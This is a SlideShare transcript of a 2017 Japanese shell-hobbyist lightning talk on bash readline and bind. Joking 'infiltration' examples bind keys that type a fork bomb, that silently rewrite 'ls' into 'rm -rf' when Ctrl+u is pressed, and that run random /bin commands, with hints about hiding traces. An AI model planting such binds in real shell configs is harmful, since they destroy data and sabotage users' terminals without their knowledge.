Submit Search
Upload
潜入工作任務用シェル芸
•
Download as PPTX, PDF
•
1 like
•
789 views
X
xztaityozx
Follow
2017/12/02の第32回シェル芸勉強会で発表に使ったスライドです
Read less
Read more
Report
Share
Report
Share
1 of 28
Download now
Recommended
CLIツール作るの楽しい
CLIツール作るの楽しい
xztaityozx
第37回シェル芸勉強会@大阪サテライトのLTで使った資料です
kyotolisp#1 LT3 美しいLispの書き方 (1)
kyotolisp#1 LT3 美しいLispの書き方 (1)
hayato_hashimoto
kyotolisp#1 (kyotolisp.github.com) で発表した内容です。スライドは(2)に続きます。
Gaucheでマクロを書こう
Gaucheでマクロを書こう
Hideaki Nagamine
KMC春合宿2015
飾り原稿用紙 黒雷公 KazariGenkoYoshi KuroRaiKo
飾り原稿用紙 黒雷公 KazariGenkoYoshi KuroRaiKo
博樹 佐川
飾り原稿用紙の黒雷公の見処を説明したスライド。 These slides explain points of KazariGenkoYoshi KuroRaiKo. https://www.atasta.biz/
呪符式高速詠唱シェル芸2
呪符式高速詠唱シェル芸2
xztaityozx
第61回シェル芸勉強会でさせていただいたLTで使った資料です
呪符式高速詠唱シェル芸
呪符式高速詠唱シェル芸
xztaityozx
第60回シェル芸勉強会 京都サテライトのLTで使った資料です
surgeコマンド作りました
surgeコマンド作りました
xztaityozx
第58回シェル芸勉強会のLTコーナーで使った資料です
ナーベンシュタイン距離 ~グラフを添えて~
ナーベンシュタイン距離 ~グラフを添えて~
xztaityozx
第57回シェル芸勉強会のLTで使った資料です
Recommended
CLIツール作るの楽しい
CLIツール作るの楽しい
xztaityozx
第37回シェル芸勉強会@大阪サテライトのLTで使った資料です
kyotolisp#1 LT3 美しいLispの書き方 (1)
kyotolisp#1 LT3 美しいLispの書き方 (1)
hayato_hashimoto
kyotolisp#1 (kyotolisp.github.com) で発表した内容です。スライドは(2)に続きます。
Gaucheでマクロを書こう
Gaucheでマクロを書こう
Hideaki Nagamine
KMC春合宿2015
飾り原稿用紙 黒雷公 KazariGenkoYoshi KuroRaiKo
飾り原稿用紙 黒雷公 KazariGenkoYoshi KuroRaiKo
博樹 佐川
飾り原稿用紙の黒雷公の見処を説明したスライド。 These slides explain points of KazariGenkoYoshi KuroRaiKo. https://www.atasta.biz/
呪符式高速詠唱シェル芸2
呪符式高速詠唱シェル芸2
xztaityozx
第61回シェル芸勉強会でさせていただいたLTで使った資料です
呪符式高速詠唱シェル芸
呪符式高速詠唱シェル芸
xztaityozx
第60回シェル芸勉強会 京都サテライトのLTで使った資料です
surgeコマンド作りました
surgeコマンド作りました
xztaityozx
第58回シェル芸勉強会のLTコーナーで使った資料です
ナーベンシュタイン距離 ~グラフを添えて~
ナーベンシュタイン距離 ~グラフを添えて~
xztaityozx
第57回シェル芸勉強会のLTで使った資料です
あの、selのリベンジをさせてください
あの、selのリベンジをさせてください
xztaityozx
第56回シェル芸勉強会のLTコーナーで使用した資料です
Owari version 2.0 をつくりました
Owari version 2.0 をつくりました
xztaityozx
2021年8月21日に行われたシェル芸勉強会のLTで使った資料です
実績を達成しました!
実績を達成しました!
xztaityozx
第53回シェル芸勉強会のLTに使った資料です
ワタナBase59
ワタナBase59
xztaityozx
2020/12/27に開催された第51回シェル芸勉強会のLTで話したときの資料です
ocsとselってコマンド作ったわよ
ocsとselってコマンド作ったわよ
xztaityozx
第50回シェル芸勉強会のLT資料です
ワタナベシェル
ワタナベシェル
xztaityozx
第45回シェル芸勉強会@大阪サテライトでのLTに使った資料です
柿と杮
柿と杮
xztaityozx
第44回シェル芸勉強会 大阪サテライトのLTで使った資料
難読化PowerShell芸入門
難読化PowerShell芸入門
xztaityozx
2019/08/10開催の第43回シェル芸勉強会大阪サテライト LT大会で使った資料です
シェル芸をドット絵にして思いを伝えよう!
シェル芸をドット絵にして思いを伝えよう!
xztaityozx
第41回シェル芸勉強会大阪サテライトのLTで使った資料です
終わりを出力するコマンドつくった
終わりを出力するコマンドつくった
xztaityozx
第40回シェル芸勉強会@大阪サテライトのLTで使った資料です
ワタナベ難読化シェル芸
ワタナベ難読化シェル芸
xztaityozx
2018/12/22に開催された第39回シェル芸勉強会大阪サテライトでやったLTの資料です
~/.bashrcを難読化しよう!
~/.bashrcを難読化しよう!
xztaityozx
第38回シェル芸勉強会@大阪サテライトでLTに使った資料です
レッツゴー難読化シェル芸
レッツゴー難読化シェル芸
xztaityozx
2018/07/07に開催されたシェル芸勉強会でLTしたかった資料です
超・記号オンリー難読化シェル芸
超・記号オンリー難読化シェル芸
xztaityozx
2018/04/07に開催された第35回シェル芸勉強会の大阪サテライトでLTしたときに使った資料です
部活でシェル芸がはやらない
部活でシェル芸がはやらない
xztaityozx
2018/3/17大阪で行われた第34回シェル芸勉強会のLTで使ったスライドです
ダブルシンク難読化シェル芸
ダブルシンク難読化シェル芸
xztaityozx
2017/10/07に開催された第31回シェル芸勉強会 大阪サテライトで発表したLT資料です
破壊的難読化シェル芸
破壊的難読化シェル芸
xztaityozx
2017/08/26 第30回シェル芸勉強会大阪サテライトのLT大会で使った資料です
みんなで!Base64難読化シェル芸
みんなで!Base64難読化シェル芸
xztaityozx
7/8に行われた大阪工業大学LTと7/1に29回シェル芸勉強会で発表したLTの資料です
シェル芸で使いたくてLINQが使えるコマンドを作ったらawkでよかった話
シェル芸で使いたくてLINQが使えるコマンドを作ったらawkでよかった話
xztaityozx
7/1の29回シェル芸勉強会で話したスライドです
難読化シェル芸
難読化シェル芸
xztaityozx
2017/05/27にOITで開かれたLT大会で使用した難読化シェル芸のスライド資料 #oitLT
NIST Cybersecurity Framework 2.0の変更点整理をしよう
NIST Cybersecurity Framework 2.0の変更点整理をしよう
You&I
今年2月に1.1→2.0に更新されたNIST CSFの変更内容について整理したいと思います。
Solanaで始めるRustプログラミング - Superteam Japan Developer Event
Solanaで始めるRustプログラミング - Superteam Japan Developer Event
K Kinzal
https://lu.ma/wgpk8fdp
More Related Content
More from xztaityozx
あの、selのリベンジをさせてください
あの、selのリベンジをさせてください
xztaityozx
第56回シェル芸勉強会のLTコーナーで使用した資料です
Owari version 2.0 をつくりました
Owari version 2.0 をつくりました
xztaityozx
2021年8月21日に行われたシェル芸勉強会のLTで使った資料です
実績を達成しました!
実績を達成しました!
xztaityozx
第53回シェル芸勉強会のLTに使った資料です
ワタナBase59
ワタナBase59
xztaityozx
2020/12/27に開催された第51回シェル芸勉強会のLTで話したときの資料です
ocsとselってコマンド作ったわよ
ocsとselってコマンド作ったわよ
xztaityozx
第50回シェル芸勉強会のLT資料です
ワタナベシェル
ワタナベシェル
xztaityozx
第45回シェル芸勉強会@大阪サテライトでのLTに使った資料です
柿と杮
柿と杮
xztaityozx
第44回シェル芸勉強会 大阪サテライトのLTで使った資料
難読化PowerShell芸入門
難読化PowerShell芸入門
xztaityozx
2019/08/10開催の第43回シェル芸勉強会大阪サテライト LT大会で使った資料です
シェル芸をドット絵にして思いを伝えよう!
シェル芸をドット絵にして思いを伝えよう!
xztaityozx
第41回シェル芸勉強会大阪サテライトのLTで使った資料です
終わりを出力するコマンドつくった
終わりを出力するコマンドつくった
xztaityozx
第40回シェル芸勉強会@大阪サテライトのLTで使った資料です
ワタナベ難読化シェル芸
ワタナベ難読化シェル芸
xztaityozx
2018/12/22に開催された第39回シェル芸勉強会大阪サテライトでやったLTの資料です
~/.bashrcを難読化しよう!
~/.bashrcを難読化しよう!
xztaityozx
第38回シェル芸勉強会@大阪サテライトでLTに使った資料です
レッツゴー難読化シェル芸
レッツゴー難読化シェル芸
xztaityozx
2018/07/07に開催されたシェル芸勉強会でLTしたかった資料です
超・記号オンリー難読化シェル芸
超・記号オンリー難読化シェル芸
xztaityozx
2018/04/07に開催された第35回シェル芸勉強会の大阪サテライトでLTしたときに使った資料です
部活でシェル芸がはやらない
部活でシェル芸がはやらない
xztaityozx
2018/3/17大阪で行われた第34回シェル芸勉強会のLTで使ったスライドです
ダブルシンク難読化シェル芸
ダブルシンク難読化シェル芸
xztaityozx
2017/10/07に開催された第31回シェル芸勉強会 大阪サテライトで発表したLT資料です
破壊的難読化シェル芸
破壊的難読化シェル芸
xztaityozx
2017/08/26 第30回シェル芸勉強会大阪サテライトのLT大会で使った資料です
みんなで!Base64難読化シェル芸
みんなで!Base64難読化シェル芸
xztaityozx
7/8に行われた大阪工業大学LTと7/1に29回シェル芸勉強会で発表したLTの資料です
シェル芸で使いたくてLINQが使えるコマンドを作ったらawkでよかった話
シェル芸で使いたくてLINQが使えるコマンドを作ったらawkでよかった話
xztaityozx
7/1の29回シェル芸勉強会で話したスライドです
難読化シェル芸
難読化シェル芸
xztaityozx
2017/05/27にOITで開かれたLT大会で使用した難読化シェル芸のスライド資料 #oitLT
More from xztaityozx
(20)
あの、selのリベンジをさせてください
あの、selのリベンジをさせてください
Owari version 2.0 をつくりました
Owari version 2.0 をつくりました
実績を達成しました!
実績を達成しました!
ワタナBase59
ワタナBase59
ocsとselってコマンド作ったわよ
ocsとselってコマンド作ったわよ
ワタナベシェル
ワタナベシェル
柿と杮
柿と杮
難読化PowerShell芸入門
難読化PowerShell芸入門
シェル芸をドット絵にして思いを伝えよう!
シェル芸をドット絵にして思いを伝えよう!
終わりを出力するコマンドつくった
終わりを出力するコマンドつくった
ワタナベ難読化シェル芸
ワタナベ難読化シェル芸
~/.bashrcを難読化しよう!
~/.bashrcを難読化しよう!
レッツゴー難読化シェル芸
レッツゴー難読化シェル芸
超・記号オンリー難読化シェル芸
超・記号オンリー難読化シェル芸
部活でシェル芸がはやらない
部活でシェル芸がはやらない
ダブルシンク難読化シェル芸
ダブルシンク難読化シェル芸
破壊的難読化シェル芸
破壊的難読化シェル芸
みんなで!Base64難読化シェル芸
みんなで!Base64難読化シェル芸
シェル芸で使いたくてLINQが使えるコマンドを作ったらawkでよかった話
シェル芸で使いたくてLINQが使えるコマンドを作ったらawkでよかった話
難読化シェル芸
難読化シェル芸
Recently uploaded
NIST Cybersecurity Framework 2.0の変更点整理をしよう
NIST Cybersecurity Framework 2.0の変更点整理をしよう
You&I
今年2月に1.1→2.0に更新されたNIST CSFの変更内容について整理したいと思います。
Solanaで始めるRustプログラミング - Superteam Japan Developer Event
Solanaで始めるRustプログラミング - Superteam Japan Developer Event
K Kinzal
https://lu.ma/wgpk8fdp
クラウドネイティブにおけるセキュアなソフトウェア・サプライ・チェーンの考え方とベストプラクティス.pdf
クラウドネイティブにおけるセキュアなソフトウェア・サプライ・チェーンの考え方とベストプラクティス.pdf
TatsuyaHanayama
ソフトウェア・サプライ・チェーン攻撃は、ソフトウェア開発のプロセス自体が侵害され、その結果、重大なセキュリティインシデントが生じてしまいます。 クラウドネイティブは顧客に迅速な価値を提供できる反面、開発プロセスは複雑で、どのようにセキュリティ対策をすべきかが課題になっています。 本セッションでは改めて上記の課題について整理し、弊社のアプリケーション・セキュリティ・テスト・プラットフォームであるPolarisを用いた解決策を紹介します。
CO2排出量見える化・削減・報告クラウド「アスエネ」サービス紹介_Saleshub.pdf
CO2排出量見える化・削減・報告クラウド「アスエネ」サービス紹介_Saleshub.pdf
yamamotominami
「ASUENE」は、複雑だったCO2排出量算出業務をカンタンにサポートする、CO2排出量見える化・削減・報告クラウドサービスです。温室効果ガス・CO2排出量の算出・可視化、削減・カーボンオフセット、Scope1-3* のサプライチェーン排出量の報告・情報開示を支援します。
アジャイルの30年(Tree Decades of Agileというブログ記事に関する要約)
アジャイルの30年(Tree Decades of Agileというブログ記事に関する要約)
You&I
Tree Decades of Agileというブログ記事が面白そうなので、これを読んでみたいと思います。 http://www.managecomplexity.dk/blog/2024/03/12/three-decades-of-agile/
シグネチャで始めるRustプログラミング - Superteam Japan Developer Event
シグネチャで始めるRustプログラミング - Superteam Japan Developer Event
K Kinzal
https://lu.ma/wgpk8fdp
Recently uploaded
(6)
NIST Cybersecurity Framework 2.0の変更点整理をしよう
NIST Cybersecurity Framework 2.0の変更点整理をしよう
Solanaで始めるRustプログラミング - Superteam Japan Developer Event
Solanaで始めるRustプログラミング - Superteam Japan Developer Event
クラウドネイティブにおけるセキュアなソフトウェア・サプライ・チェーンの考え方とベストプラクティス.pdf
クラウドネイティブにおけるセキュアなソフトウェア・サプライ・チェーンの考え方とベストプラクティス.pdf
CO2排出量見える化・削減・報告クラウド「アスエネ」サービス紹介_Saleshub.pdf
CO2排出量見える化・削減・報告クラウド「アスエネ」サービス紹介_Saleshub.pdf
アジャイルの30年(Tree Decades of Agileというブログ記事に関する要約)
アジャイルの30年(Tree Decades of Agileというブログ記事に関する要約)
シグネチャで始めるRustプログラミング - Superteam Japan Developer Event
シグネチャで始めるRustプログラミング - Superteam Japan Developer Event
潜入工作任務用シェル芸
1.
潜入工作任務用シェル芸 たいちょー
2.
みなさん#!/bin/bash(こんにちはの意) たいちょーです @xztaityozx_001 <-- Twitterです C#だいすき!大学X年生! ターミナルに込められた暗黒の力でシェル芸人 やってまーす
3.
今回も 難読化のお話をしたいとおもいます でもネタ切れです ひねり出して考えたんですけど という感じだったのでタイトルから消しちゃい ました 難読化なのかこれは・・・?
4.
難読化シェル芸 #とは kanata氏考案のヤバいシェル芸 定義 内部的な動作の手続き内容・構造・データなどを人 間が理解しにくい、あるいはそのようになるよう加 工されたシェル芸のこと。 -- A
painter and a black cat より
5.
最近の情勢 ダブルシンク難読化シェル芸のおかげで危険 シェル芸人と一般シェル芸人の間に平和が訪れ た この平和はしばらく続くだろう ※フィクションです
6.
最近の情勢 しかし一部の過激な危険シェル芸人は平和すぎ る今に不満を持っている 「俺たちのような戦争屋(危険シェル芸人のこと)が 戦争以外に何をすればいい?」 闘争は人間の本能か
7.
危険シェル芸検知技術 現在はキーロガーやタイプ音盗聴によって危険 シェル芸が禁止されておりほぼ不可能 そこで使うのが
8.
潜入工作任務用シェル芸
9.
潜入の基本は気づかれないこと 気づかれないように危険シェル芸をする 難読化してもキーロガーでバレるため普通にタプす るのは不可能 なんかないかなあ bind
10.
bashのreadlineとbind bindはbashのキーバインドを設定するやつ readlineはコマンドライン編集のライブラリ 前回の東京の方のLTでbashrcの話があったけ ど意外とbindに関してはなかった みんな使ってない系・・・?
11.
READLINE_LINEとREADLINE_POINT READLINE_LINEは現在入力されている文字列 READLINE_POINTには現在のカーソル位置 bindから呼び出される関数内でこれを変更すれ ば現在の入力とかを自由にできる
12.
READLINE_LINEとREADLINE_POINT 皆さまお得意のシェル芸でREADLINE_LINEと READLINE_POINTを書き換えるような関数を定 義し、bindすると楽しいターミナルライフ vimのバインドも再現できるかも!? ここでediting mode viとかいう人・・・! 禁足事項です
13.
ぼくのbind設定例 実際にご覧ください→ 分かりにくいかもしれませんが・・・
14.
危険bindを使う キーバインドならキーロガーでバレない bashrc見られたらバレる 意地でもbashrcを見せないぞという堅牢な意思 を持った危険シェル芸人向け
15.
危険bind例1 素直にbindに仕込む
16.
記号になってつらい bind '"C-xfb":"C-eC-u:(){ :|: &
};:C-m"' 入力キー:Ctrl+x f b 動作:行末に移動(C-e)→全消し(C-u)→フォーク 爆弾展開→エンター(C-m) ビビったecho版 bind '"C-xfb":"C-eC-uecho abcC-m"'
17.
危険bind例2 いつものバインドを書き換え
18.
危険 いつも使っているバインドに上書きして誰かが 起爆させるのを待つ
19.
想定ケース よ~しシェル芸しちゃう ぞ! ls /bin/ /binにあるコマ ンドはこれだけ か! ならアレができ るな!一度消す ぞ! Ctrl+u シェル芸人X
20.
C-uに仕込む __kiken_sed__(){ READLINE_LINE=$(echo $READLINE_LINE|sed 's/^ls /rm
-rf /'); READLINE_POINT=${#READLINE_LINE}; } bind -x '"C-u":"__kiken_sed__C-m"'
21.
発動させると ls /bin/ ↓ rm -rf
/bin/ C-mがあるので自動的にEnterが送信される
22.
危険bind例3 ランダムにコマンドを実行する
23.
/bin/にあるものを1つ選んで実行 __rand_select__(){ READLINE_LINE="$(ls -1 /bin/|shuf|head -n1)" READLINE_POINT=${#READLINE_LINE} } bind
-x '"C-l":"clear;__rand_select__C- m"'
24.
動作 クリアーしようとCtrl+l押すとクリアされてラ ンダムにコマンドが実行される
25.
潜入工作員になるために ここまでの例に 痕跡を消す 関数定義削除やバインド解除 bind自体の難読化 やはり難読化 などを追加すれば君も潜入工作シェル芸人だ! 目指せ!伝説の傭兵!
26.
おわかりいただけただろうか bindとreadlineが以下に強力なのかが解って いただけたでしょうか これを聞いた皆さんは危険bindをしてもいいし しなくてもいい。ぼくはしない
27.
bindしよう! https://github.com/xztaityozx/dotfil es/blob/master/bind.bash ここに僕のbind定義ファイルを置いておきます 気になったらご覧ください こういうbindテクあるよ!というのも聞きたい です!!
28.
参考 http://hogem.hatenablog.com/entry/20 090411/1239451878
Download now